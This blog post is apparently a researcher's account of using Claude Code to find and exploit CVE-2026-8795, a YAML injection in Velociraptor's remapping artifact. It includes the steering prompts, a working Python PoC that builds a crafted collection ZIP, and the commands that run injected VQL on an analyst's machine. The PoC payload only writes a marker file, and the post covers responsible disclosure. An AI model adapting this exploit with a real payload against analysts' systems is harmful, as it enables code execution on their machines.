TLDR: After an IR engagement where a colleague used Claude to find and exploit a 0day in under 60 minutes, I ran my own test on a tool I already know. With Claude Code and some steering, the AI found a code execution bug (CVE-2026-8795), wrote a working PoC, and suggested a fix in a short time. Below: the prompts, how the chain works, and some thoughts on what this means for red teamers, maintainers, and IR now that the playbook is this cheap to run.

Official advisory: CVE-2026-8795 (¹)

Why I ran this experiment

I like to keep up with newly assigned CVEs for major products and CVEs with specific keywords. Lately the volume is insane. A quick Googling shows more than 48k CVEs in 2025 (²). On top of that, I keep seeing headlines that AI is “good at code review” and yeah, people are using it to find vulns, and it seems to be working. Also, if you notice the stock market, you would notice that with every new Anthropic announcement that touches cybersecurity the whole cybersecurity shakes a little. All of that made me think but not enough to actually try it myself.

During an incident response engagement, a colleague opened Claude, pointed it at a target we suspected might have a critical unreported bypass, and had it rebuild the same infrastructure the client was running. My colleague guided Claude until it found the issue, exploited it, and pwned the admin account and the environment. The whole thing took under thirty minutes. After that engagement wrapped, I couldn’t stop thinking about how cheap that workflow had gotten for attackers. So I wanted to run my own test on something I actually understand.

Before AI, when I used to pentest and do vulnerability research, a single critical bug on a popular product could eat hours or a whole weekend. You read until the code made sense, fought dependencies, triaged a pile of dead ends, and maybe.. just maybe.. you found a meaningful lead that might lead to something. The painful part was rarely “confirming the bug.” It was setting the env up, triggering an insane amount of leads from SAST and other dynamic scanners, the missed edge cases that cannot be automated, and the unreadable paths. It was building the automation system that can mass scan and the time it took the user to triage 100k of leads. So this time, I wanted to see how much of that grind an agent would save me and whether it could give me something close to a real meaningful write-up.

Setup

The session prompts

I started with an edited version of this security-review prompt (⁴). Then simply asked: clone the repo, review it like a security researcher, and only flag issues with real impact. Note: the repo is worth a visit — grab a few of the roles from that repo. I keep mine in Raycast (⁵) snippets so I can drop them into a session fast.

First I had it look at image read/parse paths. Noisy pass, mostly low-severity stuff, so I changed direction. I pointed it at features I already use day to day — config repack, velociraptor --remap, and deaddisk — on the hunch that fewer people had poked there. Claude can search the code. You still have to tell it where to look and guide it.

Here’s what I actually typed (typos and all). Claude’s side of the conversation was removed since it shows many leads and I’m afraid some of them might be TP.

1. Broad review

    As a code review expert, your role will be to carefully examine the code for
    potential security flaws. This may include identifying common coding mistakes
    that could lead to vulnerabilities. Your expertise in network security, memory
    corruption, web application security will be particularly valuable in ensuring
    that any code developed meets the highest security standards.
   
    Install: https://github.com/Velocidex/velociraptor and start testing it. Find
    issues in its ability to read images and parse stuff only find real issues with
    actual impact.
   

2. Pivot to features I already use

    for now, I want you to test the config repack function, if it's possbile to do
    somethig bad with it.
   
    or if it's possbile to do something with the remapp velociraptor --remap
    remapping_img1.yaml --config client.config.yaml client -v
    --config.client-writeback-linux=/tmp/remapping.writeback_ssh.yaml
    --config.client-local-buffer-disk-size=0
   

3. Push harder on impact

    focus on the repack maybe if someone passes somthing bad you can somehow
    execute a command on the system using velo or damage velo or do something out
    of its scope. Find vulns
   

4. Threat-model question (.dd vs normal workflow)

    is it possbile to make it generate a bad remaping yaml via a normal usage like
    this "velociraptor -v deaddisk --add_windows_disk full_image.dd
    remapping_img1.yaml" meaing the dd file can do that somehow
   

   That’s where it got interesting: not the .dd path, but a crafted collection ZIP feeding Windows.Collectors.Remapping.

5. PoC bar

    create a crafted zip file that can create a file in /tmp/ called works.txt with
    the content works. and create a readme to how to run it after you test it.
   

   ---

The results

Analyst-targeting bug. YAML injection in Windows.Collectors.Remapping, triggered by a crafted collection ZIP — code execution on the analyst’s box when they apply the generated remapping with --remap.

Windows.Collectors.Remapping reads client_info.json from inside a collection ZIP and substitutes the Hostname field into a text/template string that becomes YAML:

hostname: "{{ .Hostname }}"

The hostname comes from inside the ZIP and was never YAML-escaped before the template expanded. Stick a literal " and a few newlines in there and you break out of the quoted string — inject a new - type: mount block, scope: field and all.

When an analyst runs velociraptor --remap …, startup validation on that path uses NullACLManager. VQL inside scope: runs with broad permissions — EXECVE included in the path we traced. A field that looks like a hostname can end up driving code execution on whoever is doing the analysis.

PoC

1. Create the crafted collection ZIP:

    python3 create_zip.py
    # Creates crafted_collection.zip with malicious client_info.json
   

2. Run the artifact (analyst’s normal workflow, Step 1):

    velociraptor artifacts collect Windows.Collectors.Remapping \
      --args ZipPath="$(pwd)/crafted_collection.zip" \
      --args WriteRemappingPath=/tmp/remapping_injected.yaml \
      --args Upload=N
   

   This reads the hostname from the ZIP, renders the template, and writes remapping_injected.yaml containing the injected mount entry with its scope VQL.

3. Apply the remapping (analyst’s normal workflow, Step 2):

    velociraptor --remap /tmp/remapping_injected.yaml \
      artifacts collect Generic.Client.Info
   

   Any artifact works here. The payload fires before the artifact even starts — applyRemapping() runs as a startup config validator (WithCustomValidator in bin/main.go:200), during config load, not when the command executes. By the time Velociraptor picks an artifact to run, the scope VQL has already fired.

   So this isn’t tied to one specific artifact. All of these trigger it:

    # The example from the documented analyst workflow:
    velociraptor --remap /tmp/remapping_injected.yaml \
      artifacts collect Windows.Registry.Hunter --args RemappingStrategy=None
   
    # Or any other artifact:
    velociraptor --remap /tmp/remapping_injected.yaml \
      artifacts collect Windows.System.TaskScheduler
   
    # Even a query that does nothing:
    velociraptor --remap /tmp/remapping_injected.yaml \
      query "SELECT 1 FROM scope()"
   

4. Verify execution:

    cat /tmp/works.txt
    # works
   

   The file /tmp/works.txt is created during --remap startup validation — before any artifact query runs.

The create_zip.py script:

#!/usr/bin/env python3
"""
Creates a crafted Velociraptor collection ZIP that exploits the YAML injection
vulnerability in Windows.Collectors.Remapping (CVE candidate).

The hostname field in client_info.json flows through text/template into a YAML
template without escaping. A hostname containing a literal " followed by newlines
breaks out of the YAML quoted string and injects new remapping entries.

The injected mount entry has a `scope` field — VQL executed by evaluateScopeQuery()
with NullACLManager when --remap is applied. This creates /tmp/works.txt.
"""

import json
import zipfile
import os

OUTPUT_ZIP = "crafted_collection.zip"
MALICIOUS_HOSTNAME = (
    'VICTIM"\n'
    '- type: mount\n'
    '  scope: |-\n'
    '    LET x <= copy(filename="works", accessor="data", dest="/tmp/works.txt")\n'
    '  from:\n'
    '    accessor: file\n'
    '    prefix: /\n'
    '  "on":\n'                 # quoted because bare on: is coerced to bool by YAML 1.1
    '    accessor: auto\n'
    '    prefix: /\n'
    '  description: "x'         # valid RemappingConfig string field, absorbs template's closing "
)

client_info = {
    "Hostname": MALICIOUS_HOSTNAME,
    "hostname": MALICIOUS_HOSTNAME,
    "OS": "windows",
    "Platform": "windows",
    "Version": "10.0.19041",
}

with zipfile.ZipFile(OUTPUT_ZIP, "w", zipfile.ZIP_DEFLATED) as zf:
    # client_info.json at root — read by the artifact's CollectionHostinfo query
    zf.writestr("client_info.json", json.dumps(client_info, indent=2))

    # Satisfy the artifact precondition:
    #   SELECT * FROM glob(globs="/uploads/{auto,file,ntfs}", ...)
    zf.writestr("uploads/auto/C:/dummy.txt", "placeholder")

    # Satisfy AllDrives query:
    #   SELECT * FROM glob(globs="/uploads/*/*", ...)
    zf.writestr("uploads/file/C:/dummy.txt", "placeholder")

print(f"[+] Created {OUTPUT_ZIP}")
print(f"[+] ZIP contents:")
with zipfile.ZipFile(OUTPUT_ZIP) as zf:
    for name in zf.namelist():
        print(f"      {name}")

print()
print("[+] Injected hostname value (what client_info.json contains):")
print("    " + repr(MALICIOUS_HOSTNAME[:80]) + "...")
print()
print("[+] After text/template renders hostname: \"{{ .Hostname }}\":")
print('    hostname: "VICTIM"')
print('    [NEW ENTRY] - type: mount')
print('      scope: LET x <= copy(...) -> writes /tmp/works.txt')

What I did vs what Claude did

I picked the target, set the trust-boundary questions, wrote and rewrote prompts, killed the junk leads, steered into remap/repack/deaddisk, asked for a PoC, and pushed a suggested fix with the report.

Claude did the hard part. Crawled the repo, found the lead, followed the chain from Windows.Collectors.Remapping through text/template into --remap startup, and explained why NullACLManager changed the impact story. Wrote create_zip.py, hit YAML 1.1 and template-quoting problems, worked through them, kept iterating until the PoC worked, then wrote up a report and proposed a fix.

Bug report timeline (GitHub Security Advisory)

Interesting points

When I started writing this, Linus Torvalds shipped Linux 7.1-rc4 (LKML, 2026-05-17) (⁸) and called out exactly this workflow:

“The continued flood of AI reports has basically made the security list almost entirely unmanageable, with enormous duplication due to different people finding the same things with the same tools. […] AI detected bugs are pretty much by definition not secret, and treating them on some private list is a waste of time for everybody involved.”

I agree, what made this finding feel “fast” is also what makes it un-special. Popular project. Popular agent. Public prompt with some edits. Anyone with a Claude Pro sub and a free afternoon can probably run the same workflow and hit the same bug.

I shared Linus’s post with Scudette (⁷), Velociraptor’s maintainer, and asked if they’re seeing the same thing. His reply, quoted as he wrote it:

“We did get a flood of AI reports too. But I dont think we are as large as Linux so probably the code surface is much smaller. The reports are not so many and are mostly helpful.

Some of the reports show a misunderstanding of the Velociraptor permission model so it does take some time to explain it - but I think this shows a lack of documentation around these issues so it is more an investment. Next time someone raises a similar issue we already have a reply for it. I guess if we get a flood of these then it would be simpler to just point people at the docs and close the report.

We did get a couple of real issue duplicates as well. I totally get Linus saying that AI bugs are probably public anyway because others could find the same thing.”

So what I took from that is that the pain is volume, some true positive duplications, and documentation gaps that still need work. And on a mid-size project like Velociraptor, most of the reports are actually helpful. And yeah, I agree. Linux kernel is a special case. If your whole vuln-research practice is pointing an AI at a super popular, critical codebase like the kernel, you’re probably wasting your time.

However, not every GitHub repo is Linux. Most codebases are under-tested. To land in the helpful pile instead of the flood pile. You should just pick something you understand, search issues and advisories first, reproduce end-to-end, ship a working PoC with a suggested fix. Yeah, 99% of the time your suggestion is probably BS and will not help the maintainers but try anyway. Still better than saying your baby is ugly and leaving.

Tips

If you’re going to try this:

• Fork and customize something like DummyKitty/Cyber-Security-chatGPT-prompt (⁴) so the agent is biased toward real unique impact.
• Pick a project whose threat model you already understand. Domain knowledge is how you filter slop.
• Point it at routes, commands, and/or features you actually use, that’s where “maybe under-reviewed” often lives.
• Feed it docs if you have them.
• Search the tracker and advisories for that area before you write anything.
• Reproduce the bug end-to-end on a clean machine.
• Push a suggested fix. It’s just a prompt away. It helps the maintainer and shows respect. (Remember, maintainers don’t work for you.)
• Use the project’s preferred channel (GHSA, security.txt, vendor form — whatever they ask for).
• If it is a duplicate, take the L. A Claude subscription doesn’t make you the first finder.

Final thoughts

This whole experiment started after I watched a colleague use Claude during an IR engagement — and maybe that’s how the attacker found the bug too. Same agent, same “stand up the stack and hunt” workflow. We don’t know for sure. Hard not to picture the other side running the same playbook at scale. Easy 0days keep getting easier to find.

Good and bad news for incident responders: you’re only going to get busier. Cheaper bug hunting and faster PoCs mean more weaponized issues and more real-world mess in someone’s queue. Your job isn’t disappearing the way the AI CEOs have been saying : )

Last thing: be helpful. AI makes finding bugs cheap but triaging your report is still expensive for someone else. Read the docs, reproduce the bug, ship a PoC, suggest a fix, use the right channel. Do the work on your side so you land in the helpful pile — not the flood.

Date: Aug 27, 2026

References